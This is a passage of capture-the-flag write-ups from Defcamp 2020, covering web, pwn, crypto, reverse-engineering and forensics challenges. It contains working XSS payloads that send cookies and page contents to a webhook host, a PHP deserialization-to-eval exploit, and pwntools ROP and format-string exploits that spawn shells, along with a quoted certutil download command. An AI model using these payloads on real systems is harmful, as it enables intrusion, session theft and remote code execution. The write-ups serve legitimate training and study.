]><foo>&exfiltrate;</foo>'```We then get this string `瑣筦㈰摢㠴㈶㌷㈰㌶㈶㡥㙡㘹挱㍤〳㠳㈱㜰挳〵慦㔷戹㈴戰攱愷ㄱ㉡㍣扡㄰〳੽` We can convert this to UTF-8 and get the flag! `ctf{02bd486273026362e8a6961cd3303812073c50fa759b420b1e7a11a2c3ab0130}` ### cross-meThe challenge name is a hint that this is an XSS challenge. After you have logged in you can post notes to the website. The admin will check every note you create. When trying to post `<script>` tags we get an error message: `Invalid input. Failed at /<[^\w<>]*[ \/]\w*/i` The server is validating our notes using regex. It has quite a few different patterns that it checks: - `/<[^\w<>]*[ \/]\w*/i`- `/<(|\/|[^\/>][^>]+|\/[^>][^>]+)>/i`- `/(\b)(on\S{5,8})(\s*)=|(<\s*)(\/*)script/im`- ```/["'\(\)\.:\-\+> `]/im``` The best way I found to bypass this check is to convert our javascript into HTML entities: e.g. `asdasd` -> `asdasd` After trial and error I found out that the `<svg>` tag is your best bet! We can use its **onload** method which is not matched by the regex pattern above. ("load" is shorter than 5 characters). Let's test this by fetching the admin's cookie. We can't have spaces, and can't have any `>` tag at the end. But it still works: `<svg/onload=document.location="https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35?c="+document.cookie//<` Convert the javascript to HTML entities:```http --form POST 'http://35.242.253.155:31810/index.php?page=newpost' Cookie:PHPSESSID=47117bffb9bc0406a138d082980b72f2 title='asd' description='<svg/onload=document.location="https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35?c="+document.cookie//<'``` We now get a request from the admin. But there is no flag in the cookies...I then noticed the referer header in the request from admin: `Referer: http://127.0.0.1:1234/index.php?page=post&id=221` If we make the admin fetch this website and send the result back to us, we might get the flag.The new plan is to use **fetch**: ```jsfetch('/index.php?page=post&id=604').then(r=>{return r.text()}).then(t=>{fetch('https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35', {method:'POST',body:t})})``` This javascript posts the entire website back to us. When converting this to HTML entities, we can do the request to get the flag :) ```http --form POST 'http://35.242.253.155:31810/index.php?page=newpost' Cookie:PHPSESSID=47117bffb9bc0406a138d082980b72f2 title='asd' description='<svg/onload=fetch('/index.php?page=post&id=604').then(r=>{return r.text()}).then(t=>{fetch('https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35', {method:'POST',body:t})})//<'``` FLAG: `CTF{3B3E64A81963B5E3FAC7DE0CE63966F03559DAF4B61753AADBFBA76855DB5E5A}` ### environIt is a login page, but we cannot login, and there is no button to register an account.After doing some enumeration we found a few endpoints that seems interesting - /index.php- /login- /forgot-password- /register- /dashboard- /assets- /css- /js- /backup At `/register` we can register an account and we get redirected to `/dashboard````Environ is a tool to decrypt your deal messages Sorry for the inconvenience but we’re performing some maintenance at the moment. If you need to you can always contact us, otherwise we’ll be back online shortly! — The Team.``` If we go to `/index.php` we can see this message:```Environ is a tool to decrypt your deal messages Sorry for the inconvenience but we’re performing some maintenance at the moment. If you need to you can always contact us, otherwise we’ll be back online shortly! — The Team. Also you can use /decode/{text} to obtain the contents of your private message.``` A new endpoint! `/decode/{text}`. Almost everything we tried to insert as *text* makes the server respond with `bool(false)` If you insert a symbol, you get `File not found`. I created a script to enumerate all the valid characters:```python#!/usr/bin/env python3import requestsimport string url = "http://35.198.183.125:30278/decode/" valid_chars = [] headers = { "Cookie": "laravel_session=eyJpdiI6Ik5QMmtiajAxZ0JHTjdLTW5TcDV1Nmc9PSIsInZhbHVlIjoicEhIV3lKaEUrKzFnS1VDcmcyWDhPQ0ZVNlYzeFR3TkdBbjk4VW1NditnOHRxaEl5MU01YmUrMFpxRGZyc0lMTHBLYWRKOWNiMVpHaFEyUy9ac3FsSUFMeXRNZ2RZZmdNL3RnOGEyUFlpZHV2aGlOVXRpWm1nbTE5cDU1Wmd6YmsiLCJtYWMiOiJjNzZkZjcyNGIwNWIyYzZiNjcyNmQ1YTE2YWM0ZTE5N2JhZGE4NGVmYzE3ZGY3NDc0Zjg0MWY5NzRjMTQ2NTliIn0%3D", "Accept": "application/json"} for c in string.printable: r = requests.get(url+c, headers=headers) if "bool(false)" in r.text: valid_chars.append(c) else: print(r.text.strip()) print(''.join(valid_chars))``` The valid characters are `0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ%+=` This looks like base64 to me! At this point we started looking at the other endpoints, and found out that `/backup` is a git repository. We dumped the repository using [git-dumper.py](https://github.com/arthaud/git-dumper) (I had to replae all ".git" with "backup" for it to work) and find `.env.example` that contains an AES key: `APP_KEY=base64:Wkt8DOa9t16Z+DSLKsy+5r4S0aA9JmdItAk9//NiKu0=` We also find the decode function used in the Laravel app. ```phppublic function decode(Request $request, $secret) { $key = env('APP_KEY'); $cipher = "AES-256-CBC"; $iv = substr(env('APP_KEY'), 0, 16); $secret_message = unserialize(openssl_decrypt($secret, $cipher, $key, 0, $iv)); var_dump($secret_message); }``` This function decrypts our secret message and unserializes it. Maybe we can try to exploit this unserialization? To do this we need to find a class that has a constructor / deconstructor that does something unsafe. I found just the class for this in `app/Http/Middleware/YourChain.php` ```php<?php namespace App\Http\Middleware; use Closure;use Illuminate\Http\Request; class YourChain{ /** * Handle an incoming request. * * @param \Illuminate\Http\Request $request * @param \Closure $next * @return mixed */ // public function handle(Request $request, Closure $next) // { // return $next($request); // } public $inject; function __construct(){ } function __wakeup(){ if(isset($this->inject)) { if(isset($this->inject[5])){ eval($this->inject[5]); } } }}``` If we can create a serialized object with an `$inject` parameter that is an Array, we can eval php code of our choice. The 5th index must contain the code that should be evaled. I did this by opening an interactive session with php: `php -a````php$key = "base64:Wkt8DOa9t16Z+DSLKsy+5r4S0aA9JmdItAk9//NiKu0=";$iv = substr($key, 0, 16); echo openssl_encrypt("O:29:\"App\\Http\\Middleware\\YourChain\":1:{s:6:\"inject\";a:6:{i:0;s:0:\"\";i:1;s:0:\"\";i:2;s:0:\"\";i:3;s:0:\"\";i:4;s:0:\"\";i:5;s:29:\"system('base64 ../flag.php');\";}}", "AES-256-CBC", $key, 0, $iv);``` Which yields `6yjQqIXn0W0bR6EwHTW2NfGZUD4vr9E537p+861LxkPV8tNU63xRZz34KbAoOYNU/Z0SXAME/FlmW2Gpc14G/eXe+TngCovxh6lKt3I9ZmutmF0iLSRycW3X3xdse83uy7Hp3XSqh0Z20knHOqqi4KulAvtT1BbFDzwrNtstRGvciaSyqVgbbhtCIQe0lwyw2YZ8TkBKrdSefnNfBLFuzQ==` We can send this encrypted text to the `/decode` endpoint to get our command executed!I tried multiple commands before I finally found flag.php in a directory. ```shell$ http GET "http://35.198.183.125:30278/decode/6yjQqIXn0W0bR6EwHTW2NfGZUD4vr9E537p+861LxkPV8tNU63xRZz34KbAoOYNU/Z0SXAME/FlmW2Gpc14G/eXe+TngCovxh6lKt3I9ZmutmF0iLSRycW3X3xdse83uy7Hp3XSqh0Z20knHOqqi4KulAvtT1BbFDzwrNtstRGvciaSyqVgbbhtCIQe0lwyw2YZ8TkBKrdSefnNfBLFuzQ==" Cookie:laravel_session=eyJpdiI6Ik5QMmtiajAxZ0JHTjdLTW5TcDV1Nmc9PSIsInZhbHVlIjoicEhIV3lKaEUrKzFnS1VDcmcyWDhPQ0ZVNlYzeFR3TkdBbjk4VW1NditnOHRxaEl5MU01YmUrMFpxRGZyc0lMTHBLYWRKOWNiMVpHaFEyUy9ac3FsSUFMeXRNZ2RZZmdNL3RnOGEyUFlpZHV2aGlOVXRpWm1nbTE5cDU1Wmd6YmsiLCJtYWMiOiJjNzZkZjcyNGIwNWIyYzZiNjcyNmQ1YTE2YWM0ZTE5N2JhZGE4NGVmYzE3ZGY3NDc0Zjg0MWY5NzRjMTQ2NTliIn0%3D %``` FLAG: `ctf{ea4941519e740783ebd819100ddc13486ae1e0abec2d0ef32bad5fc98edd16b6}` ## Steganography### stug-referenceThe task description says:```Do you have your own stug pass hidden within?```We get a jpg image. The most obvious thing to try is *steghide*.First I tried to use steghide without a password, but that did not work. Then I noticed the task description again: `stug pass hidden within`. I then tried to extract using `stug` as password: ```shell$ steghide extract -sf stug.jpgEnter passphrase: wrote extracted data to "flag.txt".```flag.txt: `ctf{32849dd9d7e7b313c214a7b1d004b776b4af0cedd9730e6ca05ef725a18e38e1}` ## Crypto### bro64```python#!/usr/bin/env python3import jsonimport requests from base64 import b64decodefrom pprint import pprint from Crypto.Cipher import ChaCha20, Salsa20 # {"nonce": "TzMh7RxMJr8=", "ciphertext": "IynkKnGon3iK4oNSv59tqdLlpIowmfpiH88Vj1CjQBm3SvTcwTbrnY4q/UWKtJRu0M3v4sl+C0k8QFM8pdpyFCkE9Nur", "key": "Fidel_Alejandro_Castro_Ruz_Cuba!"} def main(url): res = requests.get(url) if res.status_code != 200: print("failed!") return res = json.loads(res.content) pprint(res) key = res["key"] nonce = b64decode(res["nonce"]) ciphertext = b64decode(res["ciphertext"]) print(f"key length: {len(key)}") print(f"ciphertext length: {len(ciphertext)}") print(f"nonce length: {len(nonce)}") #cipher = Salsa20.new(key=key.encode("utf-8"), nonce=nonce) #plaintext = cipher.decrypt(ciphertext) #print(plaintext) cipher = ChaCha20.new(key=key.encode("utf-8"), nonce=nonce) plaintext = cipher.decrypt(ciphertext) print(plaintext) if __name__ == "__main__": main("http://34.89.241.255:30013") # ctf{f38deb0782c0f252090a52b2f1a5b05bf2964272f65d5c3580be631f52f4b3e0}```tried to find a cipher that matched with the key length etc. We noticed that the length of the ciphertext wasn't a multiple of normal block sizes, so we assumed a stream cipher. Then we tried to find a stream cipher that used base64 encoded nonce, and a key size of 256 bit. after some trial and error we found out that ChaCha20 was a match. ### why-xorWe get a Python script```pythonxored = ['\x00', '\x00', '\x00', '\x18', 'C', '_', '\x05', 'E', 'V', 'T', 'F', 'U', 'R', 'B', '_', 'U', 'G', '_', 'V', '\x17', 'V', 'S', '@', '\x03', '[', 'C', '\x02', '\x07', 'C', 'Q', 'S', 'M', '\x02', 'P', 'M', '_', 'S', '\x12', 'V', '\x07', 'B', 'V', 'Q', '\x15', 'S', 'T', '\x11', '_', '\x05', 'A', 'P', '\x02', '\x17', 'R', 'Q', 'L', '\x04', 'P', 'E', 'W', 'P', 'L', '\x04', '\x07', '\x15', 'T', 'V', 'L', '\x1b']s1 = ""s2 = ""# ['\x00', '\x00', '\x00'] at start of xored is the best hint you geta_list = [chr(ord(a) ^ ord(b)) for a,b in zip(s1, s2)]print(a_list)print("".join(a_list))``` There is also a hint here about the first 3 null bytes being the best hint we can get. Since we know that a flag usually starts with `ctf`, this is most likely the xor key. When xoring `ctf` with `ctf` we get three null bytes. I modified the script to use `ctf` as key:```pythonxored = ['\x00', '\x00', '\x00', '\x18', 'C', '_', '\x05', 'E', 'V', 'T', 'F', 'U', 'R', 'B', '_', 'U', 'G', '_', 'V', '\x17', 'V', 'S', '@', '\x03', '[', 'C', '\x02', '\x07', 'C', 'Q', 'S', 'M', '\x02', 'P', 'M', '_', 'S', '\x12', 'V', '\x07', 'B', 'V', 'Q', '\x15', 'S', 'T', '\x11', '_', '\x05', 'A', 'P', '\x02', '\x17', 'R', 'Q', 'L', '\x04', 'P', 'E', 'W', 'P', 'L', '\x04', '\x07', '\x15', 'T', 'V', 'L', '\x1b']s1 = ''.join(xored)s2 = "ctf" * len(xored) # We need the key to be equal length or longer than the cipher text a_list = [chr(ord(a) ^ ord(b)) for a, b in zip(s1, s2)]print("".join(a_list))``` Running it yields `ctf{79f107231696395c004e87dd7709d3990f0d602a57e9f56ac428b31138bda258}` ## Pwn### bazooka```python#!/usr/bin/env python# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template --host 35.234.65.24 --port 30812 ./pwn_bazooka_bazookafrom pwn import * # Set up pwntools for the correct architectureexe = context.binary = ELF('./pwn_bazooka_bazooka') # Many built-in settings can be controlled on the command-line and show up# in "args". For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR# ./exploit.py GDB HOST=example.com PORT=4141host = args.HOST or '35.234.65.24'port = int(args.PORT or 30812) def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw) def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw) # Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript = '''set follow-fork-mode parentset follow-exec-mode sameb *0x0000000000400757continue'''.format(**locals()) #===========================================================# EXPLOIT GOES HERE#===========================================================# Arch: amd64-64-little# RELRO: Partial RELRO# Stack: No canary found# NX: NX enabled# PIE: No PIE (0x400000) io = start() io.sendlineafter("Secret message: ", "#!@{try_hard3r}") pop_rdi = 0x00000000004008f3main = exe.symbols["main"] payload = b"A"*(0x80-8)payload += p64(pop_rdi)payload += p64(exe.got["puts"])payload += p64(exe.plt["puts"])payload += p64(main)io.sendlineafter("Message: ", payload) io.recvuntil("Hacker alert")io.recvline()leak = u64(io.recvline().rstrip().ljust(8, b"\x00"))log.info(f"leak: {hex(leak)}") if args.LOCAL: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")else: libc = ELF("libc6_2.27-3ubuntu1.3_amd64.so") libc.address = leak - libc.symbols["puts"]log.success(f"libc base: {hex(libc.address)}")payload = b"A"*(0x80-8)payload += p64(pop_rdi)payload += p64(next(libc.search(b"/bin/sh")))payload += p64(pop_rdi+1) # ret gadget for stack alignmentpayload += p64(libc.symbols["system"])payload += p64(libc.symbols["exit"]) io.sendlineafter("Secret message: ", "#!@{try_hard3r}")io.sendlineafter("Message: ", payload) io.interactive() # ctf{9bb6df8e98240b46601db436ad276eaa635a846c9a5afa5b2075907adf39244b}``` Vulnerable function protected with password.The vuln is a buffer overflow. First we trigger the bug to leak the address of puts through the GOT.This enables us to find the base address of libc. We then trigger the bug a second time and ROP into `system("/bin/sh")`. ### darkmagic```python#!/usr/bin/env python# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template --host 34.89.250.23 --port 32440 ./darkmagicfrom pwn import * # Set up pwntools for the correct architectureexe = context.binary = ELF('./darkmagic') # Many built-in settings can be controlled on the command-line and show up# in "args". For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR# ./exploit.py GDB HOST=example.com PORT=4141host = args.HOST or '34.89.250.23'port = int(args.PORT or 32440) def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw) def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw) # Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript = '''b *0x00000000004007FFcontinue'''.format(**locals()) #===========================================================# EXPLOIT GOES HERE#===========================================================# Arch: amd64-64-little# RELRO: Partial RELRO# Stack: Canary found# NX: NX enabled# PIE: No PIE (0x400000) io = start() io.recvline() writes = { exe.got["printf"]: exe.plt["system"] }payload = fmtstr_payload(8, writes=writes, write_size="byte")io.sendline(payload)io.sendline("/bin/sh;") io.interactive()# dctf{857ee5051eeccf7cbdfa0ab9986d32f89158429fc12348e15419a969ddcb6bfb}``` Format string vuln. Read + printf called in a loop. We use the first `printf()` call to overwrite `printf@GOT` with `system` (we have `system` in the PLT). The second `printf()` will then execute whatever we send after the format string payload. ## Reverse engineering### secret-reverseThis binary opens up a file `message.txt` and prints out the encoded version of it. Our target is to find some message contents, such that the encoded content becomes `46004746409548141804243297904243125193404843946697460795444349`. I quickly noticed that the output was of variable length, with only 1-2 letters output per input letter. With this, I brute-forced 2 and 2 letters at the time, picking the encoded message that was the closest match with the target. The original message was: `yes_i_am_a_criminal_mastermind_beaware`. Thus the flag becomes: `ctf{9b9972e4d59d0360b5f1b80a5bbd76c05d75df5b636576710a6271c668a10ac5}` Solution script:```pythonfrom subprocess import check_output, CalledProcessErrorfrom string import printable, ascii_lowercasefrom itertools import productfrom hashlib import sha256 ALPHA = ascii_lowercase +"_"TARGET = "46004746409548141804243297904243125193404843946697460795444349" def run(s): with open("message.txt","w") as fd: fd.write(s) try: out = check_output(["./rev_secret_secret.o"]) return out.strip().split(b"Encoded: ")[1].decode() except CalledProcessError: print(f"Input {s} crashed") return "" def score(s1, s2): for i in range(min([len(s1),len(s2)])): if s1[i] != s2[i]: return i return min([len(s1),len(s2)]) known = "yes_i_am_a_criminal_mastermind_beawa"best = 0beststrings = []for comb in product(ALPHA, repeat=2): T = known + ''.join(comb) out = run(T) if out == TARGET: print(f"ctf{{{sha256(T.encode()).hexdigest()}}}") break if (m := score(out, TARGET)) >= best: print(T, m, out) if m > best: beststrings = [T] best = m else: beststrings.append(T) print(best)print(beststrings)``` ### kalf-gameIn this challenge we are given a snake game written in rust. Since this is ahuge binary the first thing we did was to try and find something interestingrelated to the game. By looking at strings in IDA we quickly find these:* `Level finished!`* `is the victory level!`* `ctf{}`* etc. By following the xrefs to these strings we found an interesting function at`0xE53C0`. Even with the decompiler the code looks like crap, but we could seea lot of references to strings that look like part of the flag. At `0xE5A04`there's a check to see if some number is equal to 100000, and if it is the codeproceeds to print some interesting stuff. We assumed that this was the "win" check, and that the code is checking thelevel we are currently on. So we added a breakpoint to check. In gdb we couldverify that this value did in fact match the level. The solution was then tochange the level to 10000 and let the program continue running. The flag is puttogether and printed:`ctf{ddba6614a32456631c125eb1a4327c52686c71d909a92ec05ea5eb510eae81d9}` ### yopass-go```sh$ strings yopass-go/yopass | grep ctf*runtime.structfieldfound bad pointer in Go heap (incorrect use of unsafe or cgo?)runtime: internal error: misuse of lockOSThread/unlockOSThreadruntime.SetFinalizer: pointer not at beginning of allocated blockstrconv: internal error: extFloat.FixedDecimal called with n == 0runtime:greyobject: checkmarks finds unexpected unmarked object obj=ctf{0962393ce380c3cf696c6c59a085cde0f7edd1382f2e9090220abdf9a6396c88}runtime: found space for saved base pointer, but no framepointer experiment/home/lucian/Desktop/ctf/yopass-go/yopass.go/home/lucian/Desktop/ctf/yopass-go/yopass.go[]runtime.structfieldruntime.structfieldruntime.structfield*runtime.structfield"[]runtime.structfield$runtime.structfield%runtime.structfield *runtime.structfield``` and there we go: `ctf{0962393ce380c3cf696c6c59a085cde0f7edd1382f2e9090220abdf9a6396c88}` ### stripped-goused [golang_loader_assist.py](https://github.com/strazzere/golang_loader_assist) to recover symbols.main_main performs AES encryption with this passphrase: `thisis32bitlongpassphraseimusing`.and the message is: `g01sn0tf0rsk1d1e`. which means that the flag is ctf{sha256{g01sn0tf0rsk1d1e}} == ctf{a4e394ae892144a54c008a3b480a1b22a6b64dd26c4b0c9eba498330f511b51e} ### modern-loginWe quickly noticed the mp3 file that contained some Python files. We extracted the files by doing the following steps:1. Unzipping the APK and traversing to the `assets/` folder. 2. Running `file` showed us that `private.mp3` was a zipped folder. 3. Unzipping it revealed another `private.mp3` file which was a tar4. Extracting this as well provided us with several files, among them was `main.py`. At first, they just seemed like bundled files and we didn't check them out much. However, we looked at the files in the mobile file system after running the app. There, we found the same files. At this point we looked further into them. The most interesting file was `main.py`. It contained some functions to check the password and to XOR encrypt strings. Part of `main.py`:```S=leno=bytesv=enumerateW=printh=None def n(byt): q=b'viafrancetes' f=S(q) return o(c^q[i%f]for i,c in v(byt)) def d(s): y=n(s.encode()) return y.decode("utf-8")``` Running the `d()` function decrypted the XOR encrypted strings in the file. This revealed that `\x15\x1d\x07\x1dATX\x00P\x11RJG\r\x04VJW_S\x07L\x00J\x15\x0bQV\x13WZ\x07TB\x06A\x15\x0f\x02T\x10\x04^S\x07EV@\x10\r\x07\x07GPW[QFUAG]XVK\x02\rR\x18`was the flag: `ctf{356c5e791de08610b8e9cb00a64d16c2cfc2be00b133fdfa5198420214909cc1}` ### dumb-discordWe get a file to reverse: `server.cpython-36.pyc` This is a Python bytecode file that is easy to decompile using *Uncompyle6* ```shelluncompyle6 server.cpython-36.pyc > server.py``` When looking at the code we can see that this is a Discord bot ```pythonfrom discord.ext import commandsimport discord, jsonfrom discord.utils import get def obfuscate(byt): mask = b'ctf{tryharderdontstring}' lmask = len(mask) return bytes(c ^ mask[(i % lmask)] for i, c in enumerate(byt)) def test(s): data = obfuscate(s.encode()) return data intents = discord.Intents.default()intents.members = Truecfg = open('config.json', 'r')tmpconfig = cfg.read()cfg.close()config = json.loads(tmpconfig)token = config[test('\x17\x1b\r\x1e\x1a').decode()] # tokenclient = commands.Bot(command_prefix='/') @client.eventasync def on_ready(): print('Connected to bot: {}'.format(client.user.name)) print('Bot ID: {}'.format(client.user.id)) @client.command()async def getflag(ctx): await ctx.send(test('\x13\x1b\x08\x1c').decode()) # pong @client.eventasync def on_message(message): await client.process_commands(message) if test('B\x04\x0f\x15\x13').decode() in message.content.lower(): # !ping await message.channel.send(test('\x13\x1b\x08\x1c').decode()) # pong if test('L\x13\x03\x0f\x12\x1e\x18\x0f').decode() in message.content.lower(): # /getflag if message.author.id == 783473293554352141: role = discord.utils.get((message.author.guild.roles), name=(test('\x07\x17\x12\x1dFBKXO\x11\x1d\x07\x17\x16\n\n\x01]\x06\x1d').decode())) # dctf2020.cyberedu.ro member = discord.utils.get((message.author.guild.members), id=(message.author.id)) if role in member.roles: await message.channel.send(test(config[test('\x05\x18\x07\x1c').decode()])) # flag if test('L\x1c\x03\x17\x04').decode() in message.content.lower(): # /help await message.channel.send(test('7\x06\x1f[\x1c\x13\x0b\x0c\x04\x00E').decode()) # try harder! if '/s基ay' in message.content.lower(): await message.channel.send(message.content.replace('/s基ay', '').replace(test('L\x13\x03\x0f\x12\x1e\x18\x0f').decode(), '')) # /getflag``` The script has an encode function that uses xor to obfuscate strings. We can see that the key is `ctf{tryharderdontstring}` After xoring all of the strings in the script with this key, we now know which commands that are available:- !ping- /getflag- /help- /s基ay We can also see that in order to get the flag stored in the config file, we need an author with ID **783473293554352141** to execute the `/getflag` command.This author also needs the `dctf2020.cyberedu.ro` role. My guess is that this is the ID of the bot. But where do we find the bot? It turns out that you can invite any bot to your own Discord server if you have the ID. Here is the link:https://discord.com/oauth2/authorize?client_id=783473293554352141&scope=bot&permissions=0 This user is called `DCTFTargetWhyNot`. Lets invite it to our own server ![](https://i.imgur.com/yEF7iDl.png) Now we just need to force the bot to execute the `/getflag` command, and the `/s基ay` command will help us with that. We can make the bot say anything if we pass an argument to this command. However, there are two replace methods that removes `/s基ay` and `/getflag` from our message. We can bypass this by making the `/getflag` command all uppercase, since the bot is converting all commands to lowercase. ![](https://i.imgur.com/hwRXfvJ.png) Oh no! Looks like the flag is also xor-encrypted, so we need to xor it with the same known key as we found earlier: `ctf{1b8fa7f33da67dfeb1d5f79850dcf13630b5563e98566bf7b76281d409d728c6}` ## Misc### qr-maniaFirst we extracted all the pictures from the pcap using wiresharkevery picture is a QR code, so we wrote a script to dump the data from every code. qrtools was not able to deal with most of the qr codes as they were different colors, so we converted all of them into black/white pictures before decoding. the output didn't look like a flag, but we noticed that all the different parts of the flag was there (e.g. C, T, F, and {, }).After checking different things like the order the pictures were downloaded in, the date in every picture, etc. we found out that there was a comment in the EXIF data of every picture telling us the position of that picture. we used this to make an ordered list of the files: ```huquiiddfswdqalnctdi.pngrrhggrokkhbwadumtkhx.pngdglakvmqmabxcqlpgbjb.pngfbnribfqosqcgsbvslvz.pngytwlritcxznphymnsowe.pngejznsfmiucllxxespijz.pnghchwxnsotuqrtbrdmbmg.pngyzhfednrfjsvinsbbyhp.pngeiyhbbcrfnwncfsghmez.pngsuvwivhtpjkcdpcdurty.pngbiuwfrwgdocdypyliqyt.pngrmdueayyyacxcceysxtm.pnggtxiufelpdevwvcpejql.pngkxcgjifkviewjaiwydos.pngpvsyteygdilvpctcavzm.pngsrfedsijdcfewypfoeii.pngxfcbvnbakbgypttpslvk.pngdmdkaosivnyzxyzmglai.pngkbavpqschcbaxbezypla.pngloaaiwgsfohhebksrzve.pngrvvkzxxdoyzdechbpaiw.pngxsdkmqnnwrscbvbbprsw.pngvcdqnjgliurrsbczwljv.pngdfhwcysjjnrnhfziizlr.pngdwpgvvlipmmhlkulbrtt.pnghsqqemzyyeqczawnerdp.pngilymnjclovkuejytnwvi.pngjckteobzkpvxoqqrqovd.pnglilikwxihvrdnqsvepqz.pngzslcptglhdyldbzmlren.pngbynatxrryamhwwhmmroj.pngkamdmutdlzdoypbozuhz.pngoedfvuiyglrsmoociury.pngofqmletvbqbxzygbzdrh.pngrkdyzefqczfgxaqkqxpt.pngxcrtvutynuuswwpcqojs.pngyepskbbojoroewcotddo.pngcllzodvnyvvmbppaktsd.pngdhqclnghhlrjxjmhjzon.pngkzlibdjxvtbgtiaowvez.pngqpuohuugyhrhfaxdyqux.pngxgslqgwnecldbojahatx.pngkgzjqaffmkezutjdcqyw.pngkmziktrekxzaihwkocfj.pnglrhsihqzqeuisjlgoyky.pngnhbiyacdrbxgrutijbxi.pngeioshuilsoxydsahsfnl.pngrvvcnqbnbdslgdrwatrk.pngdtruebslzybqbiewkwjr.pngdwesxvndmatigdqdvcpr.pngnkmswrsvwrnmapsnillk.pngoyhwsqkdqheovawwlggm.pngpgkrzpxhehywhtmkjgsb.pngavudtreighimhcgmwape.pngkuimxqwkydzdfhvwzayz.pngyybbwqnirqzldfiheiyh.pngzstxtahbtgccautnswcf.pngszpzkekngxnasbbjwhhx.pngxhaffangdrxmuvdpurdh.pnguwjmnpykkkaoxdeesmxi.pngajxxcwfgozxpbhnauore.pnggzmshnrwkknmmitqnqzp.pnghfnkcgtjyeprtbaldxxk.pnglkvdwmunrarpuyqzdyne.pngjkfxjauvqodhqwzblgen.pngvuiwwzjdojhdlaaamzwb.pnglmmfdbfmheysbhbgjazn.pngwbuhqpnwfuovgdwoedoc.pngczguxctbmqgfgxhvnwzr.png``` with that list we could run our script again to get the flag:```python#!/usr/bin/env python3import qrtoolsimport osfrom PIL import Image def get_colors(pic): im = Image.open(pic, "r") pix = im.load() return set([pix[x,y] for y in range(im.size[1]) for x in range(im.size[0])]) def convert_colors(pic): im = Image.open(pic) white = ( 255, 255, 255 ) black = ( 0, 0, 0 ) pix = im.load() white_target = pix[0, 0] print(f"target: {white_target}") out = f"{pic[:-4]}_fixed.png" im2 = Image.new("RGB", im.size, (255, 255, 255)) pix2 = im2.load() for y in range(im.size[1]): for x in range(im.size[0]): if pix[x,y] == white_target: pix2[x,y] = white else: pix2[x,y] = black im2.save(out, "PNG") return out import re def main(file_list): with open(file_list, "r") as f: files = f.readlines() cnt = 0 res = {} for filename in files: filename = filename.rstrip() if ".png" not in filename: continue print(filename) fixed = convert_colors(filename) qr = qrtools.QR() qr.decode(fixed) print(f"{filename}: {qr.data}") if qr.data is None: print("failed!") break from subprocess import check_output out = check_output(f"exiftool {filename}", shell=True).decode("utf-8") m = re.search(r"Comment.*: ([0-9]+)/69", out) num = int(m[1]) res[num] = qr.data from pprint import pprint pprint(res) flag = "".join([res[i] for i in range(1, 69+1)]) print(flag) if __name__ == "__main__": main("files.txt")``` `CTF{2b2e8580cdf35896d75bfc4b1bafff6ee90f6c525da3b9a26dd7726bf2171396}`
# Defcamp 2020 writeups :triangular_flag_on_post: ## Team information**Team name:** bootplug **Country**: Norway **CTFTime profile**: https://ctftime.org/team/81341 **Authors**zup, PewZ, UnblvR, maritio_o, odin We solved 25/26 challenges. Did not solve `inorder` --- ## Forensics### basic-comsWe get a pcap file. Searched for `http` traffic and found a single stream with some very interesting information in it ![](https://i.imgur.com/rpdwAsd.png) This **GET** request seems to contain an interesting parameter that looks like a flag. Decoding this from URL encoding yields the flag```The content of the f l a g is ca314be22457497e81a08fc3bfdbdcd3e0e443c41b5ce9802517b2161aa5e993 and respects the format``` `CTF{ca314be22457497e81a08fc3bfdbdcd3e0e443c41b5ce9802517b2161aa5e993}` ### t3am_vi3w3rNoticed some DNS requests in the PCAP to RealVNC websites. Filtering on VNC traffic (`vnc` as filter in Wireshark) lists up some "broken" PDUs, but they are most likely just too new for Wireshark to handle. Looking at the last byte of all these PDUs, we see that some text is entered - one letter at a time. It writes out the "Bee Movie" script, with the flag somewhere in the middle of it. By simply looking for a value that matches '{', I was able to read out each letter of the flag and communicate it to a team mate that wrote it down. flag: `DCTF{74a0f35841dfa7eddf5a87467c90da335132ae52c58ca440f31a53483cef7eac}` ### hunting-into-the-wildQ1. Based on the text, and obviois tool to think about is mimkaz, which often contain sekurlsa in the commanline. Used the following search on winlogbeat index:```process.args: *sekurlsa*```Shows process name: mim.exe Q2.Seeing that most "malicous" related to APTSimulator, looking for events around this activity and filtering based on common native tools used for downloading, we found the following:```certutil.exe -urlcache -split -f https://raw.githubusercontent.com/NextronSystems/APTSimulator/master/download/cactus.js C:\Users\Public\en-US.js``` Q3. By going back in timeline to see source of all the malicous events, the following command was found:```C:\Windows\system32\cmd.exe /c ""C:\Users\IEUser\Desktop\APTSimulator\APTSimulator.bat```CTF{APTSimulator.bat} Q4. Common command used for user management at windows is ```net user```, search for this actiovity within the timeline of the malicous commands, the following command line was found:```net user guest /active:yes``` ### spy-agency Volatility imagescan shows that the relevant profile is `Win7SP1x64`. After a brief `pstree` and `filescan`, we see that there's not really that much happening process-wise. But Chrome has been used to download a file from WeTransfer: ``` 0x000000003fa82210 16 0 RW---- \Device\HarddiskVolume2\Users\volf\Downloads\app-release.apk.zip``` We weren't able to dump this exact file, but there were some copies of it located on the 